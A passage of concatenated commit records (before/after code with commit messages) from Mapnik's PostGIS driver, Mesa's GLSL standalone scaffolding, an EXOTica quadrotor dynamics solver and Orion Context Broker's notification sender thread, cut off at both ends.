(oid==23) \/\/int4\n {\n int val = int4net(buf);\n boost::put(*feature,name,val);\n }\n else if (oid==21) \/\/int2\n {\n int val = int2net(buf);\n boost::put(*feature,name,val);\n }\n else if (oid == 700) \/\/ float4\n {\n float val;\n float4net(val,buf);\n boost::put(*feature,name,val);\n }\n else if (oid == 701) \/\/ float8\n {\n double val;\n float8net(val,buf);\n boost::put(*feature,name,val);\n }\n else if (oid==25 || oid==1042 || oid==1043) \/\/ text or bpchar or varchar\n {\n std::string str(buf);\n trim(str);\n std::wstring wstr = tr_->transcode(str);\n boost::put(*feature,name,wstr);\n }\n else \n {\n#ifdef MAPNIK_DEBUG\n std::clog << \"uknown OID = \" << oid << \" FIXME \\n\";\n#endif\n \/\/boost::put(*feature,name,0);\n }\n }\n ++count_;\n }\n return feature;\n }\n else\n {\n rs_->close();\n return feature_ptr();\n }\n}\n\n\npostgis_featureset::~postgis_featureset()\n{\n rs_->close();\n}\n<commit_msg>corrected members init order<commit_after>\/*****************************************************************************\n * \n * This file is part of Mapnik (c++ mapping toolkit)\n *\n * Copyright (C) 2006 Artem Pavlenko\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA\n *\n *****************************************************************************\/\n\n\/\/$Id: postgisfs.cc 34 2005-04-04 13:27:23Z pavlenko $\n\n#include <boost\/algorithm\/string.hpp>\n#include <mapnik\/global.hpp>\n#include <mapnik\/wkb.hpp>\n#include <mapnik\/unicode.hpp>\n#include \"postgis.hpp\"\n\nusing boost::lexical_cast;\nusing boost::bad_lexical_cast;\nusing boost::trim;\nusing std::string;\n\npostgis_featureset::postgis_featureset(boost::shared_ptr<ResultSet> const& rs,\n std::string const& encoding,\n unsigned num_attrs=0)\n : rs_(rs),\n num_attrs_(num_attrs),\n tr_(new transcoder(encoding)),\n totalGeomSize_(0),\n count_(0) {}\n\nfeature_ptr postgis_featureset::next()\n{\n if (rs_->next())\n { \n feature_ptr feature(new Feature(count_));\n int size=rs_->getFieldLength(0);\n const char *data=rs_->getValue(0);\n geometry_ptr geom=geometry_utils::from_wkb(data,size,-1);\n totalGeomSize_+=size;\n\t \n if (geom)\n {\n feature->set_geometry(geom);\n \n for (unsigned pos=1;pos<num_attrs_+1;++pos)\n {\n std::string name = rs_->getFieldName(pos);\n const char* buf=rs_->getValue(pos);\n int oid = rs_->getTypeOID(pos);\n \n if (oid==23) \/\/int4\n {\n int val = int4net(buf);\n boost::put(*feature,name,val);\n }\n else if (oid==21) \/\/int2\n {\n int val = int2net(buf);\n boost::put(*feature,name,val);\n }\n else if (oid == 700) \/\/ float4\n {\n float val;\n float4net(val,buf);\n boost::put(*feature,name,val);\n }\n else if (oid == 701) \/\/ float8\n {\n double val;\n float8net(val,buf);\n boost::put(*feature,name,val);\n }\n else if (oid==25 || oid==1042 || oid==1043) \/\/ text or bpchar or varchar\n {\n std::string str(buf);\n trim(str);\n std::wstring wstr = tr_->transcode(str);\n boost::put(*feature,name,wstr);\n }\n else \n {\n#ifdef MAPNIK_DEBUG\n std::clog << \"uknown OID = \" << oid << \" FIXME \\n\";\n#endif\n \/\/boost::put(*feature,name,0);\n }\n }\n ++count_;\n }\n return feature;\n }\n else\n {\n rs_->close();\n return feature_ptr();\n }\n}\n\n\npostgis_featureset::~postgis_featureset()\n{\n rs_->close();\n}\n<|endoftext|>"} {"text":"<commit_before>\/*\n * Copyright © 2011 Intel Corporation\n *\n * Permission is hereby granted, free of charge, to any person obtaining a\n * copy of this software and associated documentation files (the \"Software\"),\n * to deal in the Software without restriction, including without limitation\n * the rights to use, copy, modify, merge, publish, distribute, sublicense,\n * and\/or sell copies of the Software, and to permit persons to whom the\n * Software is furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice (including the next\n * paragraph) shall be included in all copies or substantial portions of the\n * Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL\n * THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING\n * FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER\n * DEALINGS IN THE SOFTWARE.\n *\/\n\n\/* This file declares stripped-down versions of functions that\n * normally exist outside of the glsl folder, so that they can be used\n * when running the GLSL compiler standalone (for unit testing or\n * compiling builtins).\n *\/\n\n#include \"standalone_scaffolding.h\"\n\n#include <assert.h>\n#include <string.h>\n#include <limits.h>\n#include \"util\/ralloc.h\"\n\n\nvoid\n_mesa_reference_shader(struct gl_context *ctx, struct gl_shader **ptr,\n struct gl_shader *sh)\n{\n (void) ctx;\n *ptr = sh;\n}\n\nvoid\n_mesa_shader_debug(struct gl_context *, GLenum, GLuint *id,\n const char *, int)\n{\n}\n\nextern \"C\" void\n_mesa_error_no_memory(const char *caller)\n{\n}\n\n\nstruct gl_shader *\n_mesa_new_shader(struct gl_context *ctx, GLuint name, GLenum type)\n{\n struct gl_shader *shader;\n\n (void) ctx;\n\n assert(type == GL_FRAGMENT_SHADER || type == GL_VERTEX_SHADER);\n shader = rzalloc(NULL, struct gl_shader);\n if (shader) {\n shader->Type = type;\n shader->Stage = _mesa_shader_enum_to_shader_stage(type);\n shader->Name = name;\n shader->RefCount = 1;\n }\n return shader;\n}\n\nvoid initialize_context_to_defaults(struct gl_context *ctx, gl_api api)\n{\n memset(ctx, 0, sizeof(*ctx));\n\n ctx->API = api;\n\n ctx->Extensions.dummy_false = false;\n ctx->Extensions.dummy_true = true;\n ctx->Extensions.ARB_compute_shader = true;\n ctx->Extensions.ARB_conservative_depth = true;\n ctx->Extensions.ARB_draw_instanced = true;\n ctx->Extensions.ARB_ES2_compatibility = true;\n ctx->Extensions.ARB_ES3_compatibility = true;\n ctx->Extensions.ARB_explicit_attrib_location = true;\n ctx->Extensions.ARB_fragment_coord_conventions = true;\n ctx->Extensions.ARB_fragment_layer_viewport = true;\n ctx->Extensions.ARB_gpu_shader5 = true;\n ctx->Extensions.ARB_sample_shading = true;\n ctx->Extensions.ARB_shader_bit_encoding = true;\n ctx->Extensions.ARB_shader_stencil_export = true;\n ctx->Extensions.ARB_shader_texture_lod = true;\n ctx->Extensions.ARB_shading_language_420pack = true;\n ctx->Extensions.ARB_shading_language_packing = true;\n ctx->Extensions.ARB_texture_cube_map_array = true;\n ctx->Extensions.ARB_texture_gather = true;\n ctx->Extensions.ARB_texture_multisample = true;\n ctx->Extensions.ARB_texture_query_levels = true;\n ctx->Extensions.ARB_texture_query_lod = true;\n ctx->Extensions.ARB_uniform_buffer_object = true;\n ctx->Extensions.ARB_viewport_array = true;\n\n ctx->Extensions.OES_EGL_image_external = true;\n ctx->Extensions.OES_standard_derivatives = true;\n\n ctx->Extensions.EXT_shader_integer_mix = true;\n ctx->Extensions.EXT_texture3D = true;\n ctx->Extensions.EXT_texture_array = true;\n ctx->Extensions.EXT_draw_buffers = true;\n\n ctx->Extensions.NV_texture_rectangle = true;\n\n ctx->Const.GLSLVersion = 120;\n\n \/* 1.20 minimums. *\/\n ctx->Const.MaxLights = 8;\n ctx->Const.MaxClipPlanes = 6;\n ctx->Const.MaxTextureUnits = 2;\n ctx->Const.MaxTextureCoordUnits = 2;\n ctx->Const.Program[MESA_SHADER_VERTEX].MaxAttribs = 16;\n\n ctx->Const.Program[MESA_SHADER_VERTEX].MaxUniformComponents = 512;\n ctx->Const.Program[MESA_SHADER_VERTEX].MaxOutputComponents = 32;\n ctx->Const.MaxVarying = 8; \/* == gl_MaxVaryingFloats \/ 4 *\/\n ctx->Const.Program[MESA_SHADER_VERTEX].MaxTextureImageUnits = 0;\n ctx->Const.MaxCombinedTextureImageUnits = 2;\n ctx->Const.Program[MESA_SHADER_FRAGMENT].MaxTextureImageUnits = 2;\n ctx->Const.Program[MESA_SHADER_FRAGMENT].MaxUniformComponents = 64;\n ctx->Const.Program[MESA_SHADER_FRAGMENT].MaxInputComponents = 32;\n\n ctx->Const.MaxDrawBuffers = 1;\n ctx->Const.MaxComputeWorkGroupCount[0] = 65535;\n ctx->Const.MaxComputeWorkGroupCount[1] = 65535;\n ctx->Const.MaxComputeWorkGroupCount[2] = 65535;\n ctx->Const.MaxComputeWorkGroupSize[0] = 1024;\n ctx->Const.MaxComputeWorkGroupSize[1] = 1024;\n ctx->Const.MaxComputeWorkGroupSize[2] = 64;\n ctx->Const.MaxComputeWorkGroupInvocations = 1024;\n ctx->Const.Program[MESA_SHADER_COMPUTE].MaxTextureImageUnits = 16;\n ctx->Const.Program[MESA_SHADER_COMPUTE].MaxUniformComponents = 1024;\n ctx->Const.Program[MESA_SHADER_COMPUTE].MaxInputComponents = 0; \/* not used *\/\n ctx->Const.Program[MESA_SHADER_COMPUTE].MaxOutputComponents = 0; \/* not used *\/\n\n \/* Set up default shader compiler options. *\/\n struct gl_shader_compiler_options options;\n memset(&options, 0, sizeof(options));\n options.MaxUnrollIterations = 32;\n options.MaxIfDepth = UINT_MAX;\n\n \/* Default pragma settings *\/\n options.DefaultPragmas.Optimize = true;\n\n for (int sh = 0; sh < MESA_SHADER_STAGES; ++sh)\n memcpy(&ctx->Const.ShaderCompilerOptions[sh], &options, sizeof(options));\n}\n<commit_msg>postmerge: temporarily revert max unroll iterations to previous default value (8)<commit_after>\/*\n * Copyright © 2011 Intel Corporation\n *\n * Permission is hereby granted, free of charge, to any person obtaining a\n * copy of this software and associated documentation files (the \"Software\"),\n * to deal in the Software without restriction, including without limitation\n * the rights to use, copy, modify, merge, publish, distribute, sublicense,\n * and\/or sell copies of the Software, and to permit persons to whom the\n * Software is furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice (including the next\n * paragraph) shall be included in all copies or substantial portions of the\n * Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL\n * THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING\n * FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER\n * DEALINGS IN THE SOFTWARE.\n *\/\n\n\/* This file declares stripped-down versions of functions that\n * normally exist outside of the glsl folder, so that they can be used\n * when running the GLSL compiler standalone (for unit testing or\n * compiling builtins).\n *\/\n\n#include \"standalone_scaffolding.h\"\n\n#include <assert.h>\n#include <string.h>\n#include <limits.h>\n#include \"util\/ralloc.h\"\n\n\nvoid\n_mesa_reference_shader(struct gl_context *ctx, struct gl_shader **ptr,\n struct gl_shader *sh)\n{\n (void) ctx;\n *ptr = sh;\n}\n\nvoid\n_mesa_shader_debug(struct gl_context *, GLenum, GLuint *id,\n const char *, int)\n{\n}\n\nextern \"C\" void\n_mesa_error_no_memory(const char *caller)\n{\n}\n\n\nstruct gl_shader *\n_mesa_new_shader(struct gl_context *ctx, GLuint name, GLenum type)\n{\n struct gl_shader *shader;\n\n (void) ctx;\n\n assert(type == GL_FRAGMENT_SHADER || type == GL_VERTEX_SHADER);\n shader = rzalloc(NULL, struct gl_shader);\n if (shader) {\n shader->Type = type;\n shader->Stage = _mesa_shader_enum_to_shader_stage(type);\n shader->Name = name;\n shader->RefCount = 1;\n }\n return shader;\n}\n\nvoid initialize_context_to_defaults(struct gl_context *ctx, gl_api api)\n{\n memset(ctx, 0, sizeof(*ctx));\n\n ctx->API = api;\n\n ctx->Extensions.dummy_false = false;\n ctx->Extensions.dummy_true = true;\n ctx->Extensions.ARB_compute_shader = true;\n ctx->Extensions.ARB_conservative_depth = true;\n ctx->Extensions.ARB_draw_instanced = true;\n ctx->Extensions.ARB_ES2_compatibility = true;\n ctx->Extensions.ARB_ES3_compatibility = true;\n ctx->Extensions.ARB_explicit_attrib_location = true;\n ctx->Extensions.ARB_fragment_coord_conventions = true;\n ctx->Extensions.ARB_fragment_layer_viewport = true;\n ctx->Extensions.ARB_gpu_shader5 = true;\n ctx->Extensions.ARB_sample_shading = true;\n ctx->Extensions.ARB_shader_bit_encoding = true;\n ctx->Extensions.ARB_shader_stencil_export = true;\n ctx->Extensions.ARB_shader_texture_lod = true;\n ctx->Extensions.ARB_shading_language_420pack = true;\n ctx->Extensions.ARB_shading_language_packing = true;\n ctx->Extensions.ARB_texture_cube_map_array = true;\n ctx->Extensions.ARB_texture_gather = true;\n ctx->Extensions.ARB_texture_multisample = true;\n ctx->Extensions.ARB_texture_query_levels = true;\n ctx->Extensions.ARB_texture_query_lod = true;\n ctx->Extensions.ARB_uniform_buffer_object = true;\n ctx->Extensions.ARB_viewport_array = true;\n\n ctx->Extensions.OES_EGL_image_external = true;\n ctx->Extensions.OES_standard_derivatives = true;\n\n ctx->Extensions.EXT_shader_integer_mix = true;\n ctx->Extensions.EXT_texture3D = true;\n ctx->Extensions.EXT_texture_array = true;\n ctx->Extensions.EXT_draw_buffers = true;\n\n ctx->Extensions.NV_texture_rectangle = true;\n\n ctx->Const.GLSLVersion = 120;\n\n \/* 1.20 minimums. *\/\n ctx->Const.MaxLights = 8;\n ctx->Const.MaxClipPlanes = 6;\n ctx->Const.MaxTextureUnits = 2;\n ctx->Const.MaxTextureCoordUnits = 2;\n ctx->Const.Program[MESA_SHADER_VERTEX].MaxAttribs = 16;\n\n ctx->Const.Program[MESA_SHADER_VERTEX].MaxUniformComponents = 512;\n ctx->Const.Program[MESA_SHADER_VERTEX].MaxOutputComponents = 32;\n ctx->Const.MaxVarying = 8; \/* == gl_MaxVaryingFloats \/ 4 *\/\n ctx->Const.Program[MESA_SHADER_VERTEX].MaxTextureImageUnits = 0;\n ctx->Const.MaxCombinedTextureImageUnits = 2;\n ctx->Const.Program[MESA_SHADER_FRAGMENT].MaxTextureImageUnits = 2;\n ctx->Const.Program[MESA_SHADER_FRAGMENT].MaxUniformComponents = 64;\n ctx->Const.Program[MESA_SHADER_FRAGMENT].MaxInputComponents = 32;\n\n ctx->Const.MaxDrawBuffers = 1;\n ctx->Const.MaxComputeWorkGroupCount[0] = 65535;\n ctx->Const.MaxComputeWorkGroupCount[1] = 65535;\n ctx->Const.MaxComputeWorkGroupCount[2] = 65535;\n ctx->Const.MaxComputeWorkGroupSize[0] = 1024;\n ctx->Const.MaxComputeWorkGroupSize[1] = 1024;\n ctx->Const.MaxComputeWorkGroupSize[2] = 64;\n ctx->Const.MaxComputeWorkGroupInvocations = 1024;\n ctx->Const.Program[MESA_SHADER_COMPUTE].MaxTextureImageUnits = 16;\n ctx->Const.Program[MESA_SHADER_COMPUTE].MaxUniformComponents = 1024;\n ctx->Const.Program[MESA_SHADER_COMPUTE].MaxInputComponents = 0; \/* not used *\/\n ctx->Const.Program[MESA_SHADER_COMPUTE].MaxOutputComponents = 0; \/* not used *\/\n\n \/* Set up default shader compiler options. *\/\n struct gl_shader_compiler_options options;\n memset(&options, 0, sizeof(options));\n options.MaxUnrollIterations = 8;\n options.MaxIfDepth = UINT_MAX;\n\n \/* Default pragma settings *\/\n options.DefaultPragmas.Optimize = true;\n\n for (int sh = 0; sh < MESA_SHADER_STAGES; ++sh)\n memcpy(&ctx->Const.ShaderCompilerOptions[sh], &options, sizeof(options));\n}\n<|endoftext|>"} {"text":"<commit_before>\/\/\n\/\/ Copyright (c) 2019, Wolfgang Merkt\n\/\/ All rights reserved.\n\/\/\n\/\/ Redistribution and use in source and binary forms, with or without\n\/\/ modification, are permitted provided that the following conditions are met:\n\/\/\n\/\/ * Redistributions of source code must retain the above copyright notice,\n\/\/ this list of conditions and the following disclaimer.\n\/\/ * Redistributions in binary form must reproduce the above copyright\n\/\/ notice, this list of conditions and the following disclaimer in the\n\/\/ documentation and\/or other materials provided with the distribution.\n\/\/ * Neither the name of nor the names of its contributors may be used to\n\/\/ endorse or promote products derived from this software without specific\n\/\/ prior written permission.\n\/\/\n\/\/ THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\n\/\/ AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n\/\/ IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\n\/\/ ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE\n\/\/ LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR\n\/\/ CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF\n\/\/ SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS\n\/\/ INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN\n\/\/ CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\n\/\/ ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\n\/\/ POSSIBILITY OF SUCH DAMAGE.\n\/\/\n\n#include <exotica_quadrotor_dynamics_solver\/quadrotor_dynamics_solver.h>\n\nREGISTER_DYNAMICS_SOLVER_TYPE(\"QuadrotorDynamicsSolver\", exotica::QuadrotorDynamicsSolver)\n\nnamespace exotica\n{\nQuadrotorDynamicsSolver::QuadrotorDynamicsSolver()\n{\n num_positions_ = 6;\n num_velocities_ = 6;\n num_controls_ = 4;\n\n J_.setZero();\n J_.diagonal() = Eigen::Vector3d(0.0023, 0.0023, 0.004);\n\n J_inv_.setZero();\n J_inv_.diagonal() = Eigen::Vector3d(1. \/ 0.0023, 1. \/ 0.0023, 1. \/ 0.0040);\n}\n\nvoid QuadrotorDynamicsSolver::AssignScene(ScenePtr scene_in)\n{\n const int num_positions_in = scene_in->GetKinematicTree().GetNumControlledJoints();\n \/\/ TODO: This is a terrible check (not against name etc.), but can stop _some_ mismatches between URDF\/model and dynamics\n if ((num_positions_in) != 6 || scene_in->GetKinematicTree().GetControlledBaseType() != BaseType::FLOATING)\n ThrowPretty(\"Robot model may not be a quadrotor.\");\n}\n\nEigen::VectorXd QuadrotorDynamicsSolver::f(const StateVector& x, const ControlVector& u)\n{\n const Eigen::Vector3d& translation = x.topRows<3>();\n const Eigen::Vector3d& rpy = x.middleRows<3>(3);\n const Eigen::Vector3d& v = x.middleRows<3>(6);\n const Eigen::Vector3d& omega = x.bottomRows<3>();\n\n \/\/ Create quaternion from rpy\n const Eigen::Quaterniond quaternion = Eigen::AngleAxisd(rpy(0), Eigen::Vector3d::UnitX()) * Eigen::AngleAxisd(rpy(1), Eigen::Vector3d::UnitY()) * Eigen::AngleAxisd(rpy(2), Eigen::Vector3d::UnitZ());\n\n const double F_1 = k_f_ * u(0);\n const double F_2 = k_f_ * u(1);\n const double F_3 = k_f_ * u(2);\n const double F_4 = k_f_ * u(3);\n const Eigen::Vector3d F(0, 0, F_1 + F_2 + F_3 + F_4); \/\/ total rotor force in body frame\n\n const double M_1 = k_m_ * u(0);\n const double M_2 = k_m_ * u(1);\n const double M_3 = k_m_ * u(2);\n const double M_4 = k_m_ * u(3);\n const Eigen::Vector3d tau(L_ * (F_2 - F_4), L_ * (F_3 - F_1), (M_1 - M_2 + M_3 - M_4)); \/\/ total rotor torque in body frame\n\n const Eigen::Quaterniond dquaternion = (quaternion * Eigen::Quaterniond(0, omega(0), omega(1), omega(2)));\n const Eigen::Vector3d rpy_dot = dquaternion.toRotationMatrix().eulerAngles(0, 1, 2);\n\n StateVector x_dot;\n x_dot.topRows<3>() = v; \/\/ velocity in world frame\n x_dot.middleRows<3>(3) = rpy_dot; \/\/ via quaternion derivative\n x_dot.middleRows<3>(6) = Eigen::Vector3d(0, 0, -g_) + (1. \/ mass_) * (quaternion * F); \/\/ acceleration in world frame\n x_dot.middleRows<3>(9) = J_inv_ * (tau - omega.cross(J_ * omega)); \/\/ Euler's equation : I* ω + ω x I* ω = constraint_decrease_ratio\n\n return x_dot;\n}\n\nEigen::MatrixXd QuadrotorDynamicsSolver::fx(const StateVector& x, const ControlVector& u)\n{\n \/\/ TODO\n}\n\nEigen::MatrixXd QuadrotorDynamicsSolver::fu(const StateVector& x, const ControlVector& u)\n{\n \/\/ TODO\n}\n\n} \/\/ namespace exotica\n<commit_msg>[exotica_quadrotor_dynamics_solver] Fix RPY example<commit_after>\/\/\n\/\/ Copyright (c) 2019, Wolfgang Merkt\n\/\/ All rights reserved.\n\/\/\n\/\/ Redistribution and use in source and binary forms, with or without\n\/\/ modification, are permitted provided that the following conditions are met:\n\/\/\n\/\/ * Redistributions of source code must retain the above copyright notice,\n\/\/ this list of conditions and the following disclaimer.\n\/\/ * Redistributions in binary form must reproduce the above copyright\n\/\/ notice, this list of conditions and the following disclaimer in the\n\/\/ documentation and\/or other materials provided with the distribution.\n\/\/ * Neither the name of nor the names of its contributors may be used to\n\/\/ endorse or promote products derived from this software without specific\n\/\/ prior written permission.\n\/\/\n\/\/ THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\n\/\/ AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n\/\/ IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\n\/\/ ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE\n\/\/ LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR\n\/\/ CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF\n\/\/ SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS\n\/\/ INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN\n\/\/ CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\n\/\/ ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\n\/\/ POSSIBILITY OF SUCH DAMAGE.\n\/\/\n\n#include <exotica_quadrotor_dynamics_solver\/quadrotor_dynamics_solver.h>\n\nREGISTER_DYNAMICS_SOLVER_TYPE(\"QuadrotorDynamicsSolver\", exotica::QuadrotorDynamicsSolver)\n\nnamespace exotica\n{\nQuadrotorDynamicsSolver::QuadrotorDynamicsSolver()\n{\n num_positions_ = 6;\n num_velocities_ = 6;\n num_controls_ = 4;\n\n J_.setZero();\n J_.diagonal() = Eigen::Vector3d(0.0023, 0.0023, 0.004);\n\n J_inv_.setZero();\n J_inv_.diagonal() = Eigen::Vector3d(1. \/ 0.0023, 1. \/ 0.0023, 1. \/ 0.0040);\n}\n\nvoid QuadrotorDynamicsSolver::AssignScene(ScenePtr scene_in)\n{\n const int num_positions_in = scene_in->GetKinematicTree().GetNumControlledJoints();\n \/\/ TODO: This is a terrible check (not against name etc.), but can stop _some_ mismatches between URDF\/model and dynamics\n if ((num_positions_in) != 6 || scene_in->GetKinematicTree().GetControlledBaseType() != BaseType::FLOATING)\n ThrowPretty(\"Robot model may not be a quadrotor.\");\n}\n\nEigen::VectorXd QuadrotorDynamicsSolver::f(const StateVector& x, const ControlVector& u)\n{\n const Eigen::Vector3d translation = x.head<3>();\n const Eigen::Vector3d rpy = x.segment<3>(3);\n const Eigen::Vector3d v = x.segment<3>(6);\n const Eigen::Vector3d omega = x.tail<3>();\n\n \/\/ Create quaternion from rpy\n const Eigen::Quaterniond quaternion = Eigen::AngleAxisd(rpy(0), Eigen::Vector3d::UnitX()) * Eigen::AngleAxisd(rpy(1), Eigen::Vector3d::UnitY()) * Eigen::AngleAxisd(rpy(2), Eigen::Vector3d::UnitZ());\n\n const double F_1 = k_f_ * u(0);\n const double F_2 = k_f_ * u(1);\n const double F_3 = k_f_ * u(2);\n const double F_4 = k_f_ * u(3);\n const Eigen::Vector3d F(0, 0, F_1 + F_2 + F_3 + F_4); \/\/ total rotor force in body frame\n\n const double M_1 = k_m_ * u(0);\n const double M_2 = k_m_ * u(1);\n const double M_3 = k_m_ * u(2);\n const double M_4 = k_m_ * u(3);\n const Eigen::Vector3d tau(L_ * (F_2 - F_4), L_ * (F_3 - F_1), (M_1 - M_2 + M_3 - M_4)); \/\/ total rotor torque in body frame\n\n const Eigen::Quaterniond dquaternion = (quaternion * Eigen::Quaterniond(0, omega(0), omega(1), omega(2)));\n const Eigen::Vector3d rpy_dot = dquaternion.toRotationMatrix().eulerAngles(0, 1, 2);\n\n StateVector x_dot(12);\n x_dot.head<3>() = v; \/\/ velocity in world frame\n x_dot.segment<3>(3) = rpy_dot; \/\/ via quaternion derivative\n x_dot.segment<3>(6) = Eigen::Vector3d(0, 0, -g_) + (1. \/ mass_) * (quaternion * F); \/\/ acceleration in world frame\n x_dot.segment<3>(9) = J_inv_ * (tau - omega.cross(J_ * omega)); \/\/ Euler's equation : I* ω + ω x I* ω = constraint_decrease_ratio\n\n return x_dot;\n}\n\nEigen::MatrixXd QuadrotorDynamicsSolver::fx(const StateVector& x, const ControlVector& u)\n{\n \/\/ TODO\n}\n\nEigen::MatrixXd QuadrotorDynamicsSolver::fu(const StateVector& x, const ControlVector& u)\n{\n \/\/ TODO\n}\n\n} \/\/ namespace exotica\n<|endoftext|>"} {"text":"<commit_before>\/* Copyright 2013 Telefonica Investigacion y Desarrollo, S.A.U\n*\n* This file is part of Orion Context Broker.\n*\n* Orion Context Broker is free software: you can redistribute it and\/or\n* modify it under the terms of the GNU Affero General Public License as\n* published by the Free Software Foundation, either version 3 of the\n* License, or (at your option) any later version.\n*\n* Orion Context Broker is distributed in the hope that it will be useful,\n* but WITHOUT ANY WARRANTY; without even the implied warranty of\n* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero\n* General Public License for more details.\n*\n* You should have received a copy of the GNU Affero General Public License\n* along with Orion Context Broker. If not, see http:\/\/www.gnu.org\/licenses\/.\n*\n* For those usages not covered by this license please contact with\n* iot_support at tid dot es\n*\n* Author: Fermín Galán Márquez\n*\/\n#include \"logMsg\/traceLevels.h\"\n#include \"logMsg\/logMsg.h\"\n\n#include \"common\/statistics.h\"\n#include \"common\/limits.h\"\n#include \"common\/globals.h\"\n#include \"common\/logTracing.h\"\n#include \"alarmMgr\/alarmMgr.h\"\n#include \"rest\/httpRequestSend.h\"\n#include \"ngsiNotify\/senderThread.h\"\n#include \"cache\/subCache.h\"\n\n\n\/* ****************************************************************************\n*\n* startSenderThread -\n*\/\nvoid* startSenderThread(void* p)\n{\n std::vector<SenderThreadParams*>* paramsV = (std::vector<SenderThreadParams*>*) p;\n\n for (unsigned ix = 0; ix < paramsV->size(); ix++)\n {\n SenderThreadParams* params = (SenderThreadParams*) (*paramsV)[ix];\n char portV[STRING_SIZE_FOR_INT];\n std::string url;\n\n snprintf(portV, sizeof(portV), \"%d\", params->port);\n url = params->ip + \":\" + portV + params->resource;\n\n strncpy(transactionId, params->transactionId, sizeof(transactionId));\n\n LM_T(LmtNotifier, (\"sending to: host='%s', port=%d, verb=%s, tenant='%s', service-path: '%s', xauthToken: '%s', path='%s', content-type: %s\",\n params->ip.c_str(),\n params->port,\n params->verb.c_str(),\n params->tenant.c_str(),\n params->servicePath.c_str(),\n params->xauthToken.c_str(),\n params->resource.c_str(),\n params->content_type.c_str()));\n\n long long statusCode = -1;\n std::string out;\n\n if (!simulatedNotification)\n {\n int r;\n\n r = httpRequestSend(params->from,\n params->ip,\n params->port,\n params->protocol,\n params->verb,\n params->tenant,\n params->servicePath,\n params->xauthToken,\n params->resource,\n params->content_type,\n params->content,\n params->fiwareCorrelator,\n params->renderFormat,\n &out,\n &statusCode,\n params->extraHeaders);\n\n if (r == 0)\n {\n statisticsUpdate(NotifyContextSent, params->mimeType);\n alarmMgr.forwardingErrorReset(url);\n\n if (params->registration == false)\n {\n subNotificationErrorStatus(params->tenant, params->subscriptionId, 0, statusCode, \"\");\n }\n }\n else\n {\n alarmMgr.forwardingError(url, \"forwarding error: \" + out);\n\n if (params->registration == false)\n {\n subNotificationErrorStatus(params->tenant, params->subscriptionId, -1, -1, out);\n }\n }\n }\n else\n {\n LM_T(LmtNotifier, (\"simulatedNotification is 'true', skipping outgoing request\"));\n __sync_fetch_and_add(&noOfSimulatedNotifications, 1);\n }\n\n \/\/ Add notificacion result summary in log INFO level\n if (statusCode != -1)\n {\n logInfoNotification(params->subscriptionId.c_str(), params->verb.c_str(), url.c_str(), statusCode);\n }\n else\n {\n logInfoNotification(params->subscriptionId.c_str(), params->verb.c_str(), url.c_str(), out.c_str());\n }\n\n \/\/ End transaction\n lmTransactionEnd();\n\n \/* Delete the parameters after using them *\/\n delete 